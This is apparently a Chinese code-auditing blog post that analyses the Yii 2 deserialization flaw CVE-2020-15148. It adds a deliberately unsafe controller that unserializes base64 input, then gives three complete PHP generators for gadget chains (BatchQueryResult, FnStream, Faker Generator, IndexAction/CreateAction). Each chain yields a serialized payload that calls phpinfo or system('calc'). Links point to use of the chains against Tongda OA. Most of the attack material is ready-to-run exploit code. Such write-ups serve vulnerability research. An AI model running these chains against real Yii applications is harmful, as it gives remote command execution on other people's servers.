PHP框架开发篇&Yii反序列化&POP利用链&某达OA&某商城&CVE分析

Ethan医生3个月前代码审计95


参考资料:CVE-2020-15148漏洞分析

https://www.extrader.top/posts/c79847ee

https://www.anquanke.com/post/id/254429

https://blog.csdn.net/unexpectedthing/article/details/123829375

 

1、环境部署:

phpstudy php7.4.3 Apache Yii-2.0.37

 

2、添加入口:

controllers/TestController.php

<?php

namespace app\controllers;

 

use yii\web\Controller;

 

class TestController extends Controller{

public function actionTest($data){

return unserialize(base64_decode($data));

}

}

 

3、反序列化链分析:

#POP链1:

yii\db\BatchQueryResult::__destruct()->reset()->close()

->$_dataReader

GuzzleHttp\Psr7::close()->call_user_func

->$_fn_close

 

<?php

//GuzzleHttp\Psr7::close()->call_user_func

//->$_fn_close

namespace GuzzleHttp\Psr7{

class FnStream{

var $_fn_close = "phpinfo";

}

}

 

//yii\db\BatchQueryResult::__destruct()->reset()->close()

//->$_dataReader

namespace yii\db{

use GuzzleHttp\Psr7\FnStream;

class BatchQueryResult{

private $_dataReader;

public function __construct()

{

$this->_dataReader=new FnStream();

}

}

}

 

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));

}

 

 

#POP链2:

yii\db\BatchQueryResult::__destruct()->reset()->close()

->$_dataReader

Faker\Generator::__call()->format()->call_user_func_array()

->$formatters['close']

\yii\rest\IndexAction::run->call_user_func()

->$checkAccess $id

 

<?php

//\yii\rest\IndexAction::run->call_user_func()

//->$checkAccess $id

namespace yii\rest{

class IndexAction

{

public $checkAccess;

public $id;

 

public function __construct()

{

$this->checkAccess = 'system';

$this->id = 'calc';

}

}

}

//Faker\Generator::__call()->format()->call_user_func_array()

//->$formatters['close']

namespace Faker{

use \yii\rest\IndexAction;

class Generator{

protected $formatters = array();

 

 

public function __construct()

{

$this->formatters['close'] = [new IndexAction(), 'run'];

}

}

}

//yii\db\BatchQueryResult::__destruct()->reset()->close()

//->$_dataReader

namespace yii\db{

use Faker\Generator;

class BatchQueryResult{

private $_dataReader;

public function __construct()

{

$this->_dataReader=new Generator();

}

}

 

}

 

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));

}

 

 

#POP链3:

yii\db\BatchQueryResult::__destruct()->reset()->close()

->$_dataReader

Faker\Generator::__call()->format()->call_user_func_array()

->$formatters['close']

\yii\rest\CreateAction::run->call_user_func()

->$checkAccess $id

 

<?php

//\yii\rest\CreateAction::run->call_user_func()

//->$checkAccess $id

namespace yii\rest{

class CreateAction{

public $checkAccess;

public $id;

public function __construct(){

$this->checkAccess = 'system';

$this->id = 'calc'; //命令执行

}

}

}

 

//Faker\Generator::__call()->format()->call_user_func_array()

//->$formatters['close']

namespace Faker {

use yii\rest\CreateAction;

class Generator

{

protected $formatters;

public function __construct()

{

$this->formatters['close'] = [new CreateAction(), 'run'];

}

}

}

 

//yii\db\BatchQueryResult::__destruct()->reset()->close()

//->$_dataReader

namespace yii\db{

use Faker\Generator;

class BatchQueryResult{

private $_dataReader;

public function __construct()

{

$this->_dataReader=new Generator();

}

}

}

 

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));

}

 

#实际结合:

1、通达OA-Yii反序列化结合

https://xz.aliyun.com/t/12855

https://forum.butian.net/index.php/share/2415

2、攻防演练审计和0day漏洞挖掘

https://mp.weixin.qq.com/s/L5uklnBuolfqEg-bR4V0rQ


标签: PHPYii

相关文章

PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

PHP模型开发篇&MVC层&RCE执行&文件对比法&1day分析&0day验证

PHP模型开发篇&MVC层&RCE执行&文件对比法&1day分析&0day验证

-MVC流程:1、Controller截获用户发出的请求;2、Controller调用Model完成状态的读写操作;3、Controller把数据传递给View;4、View渲染最终结果并呈献给用户。...

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

1、什么是反序列化操作? - 类型转换- PHP & JavaEE & .NET & Python(见图)序列化:对象转换为数组或字符串等格式反序列化:将数组或字符串等格式转换...

PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析

PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析

挖掘技巧:-语句监控-数据库SQL监控排查可利用语句定向分析-功能追踪-功能点文件SQL执行代码函数调用链追踪-正则搜索-(update|select|insert|delete|).*?where....

PHP反序列化&Phar文件类&CLI框架类&PHPGGC生成器&TP&Yii&Laravel

PHP反序列化&Phar文件类&CLI框架类&PHPGGC生成器&TP&Yii&Laravel

#Phar反序列化解释:从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。 原理:PHP文件系统函...

PHP框架开发篇&实战ThinkPHP项目&打击微交易&源码获取&扩大战果

背景交代:旨在提高打击违法犯罪能力,请勿用于黑X用途,否则后果自负!模拟实战中如何打击某微盘系统,源码获取再到代审及后续实战检测。 搭建复现:1、目录指向绑定域名2、修改配置导入SQL文件3...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。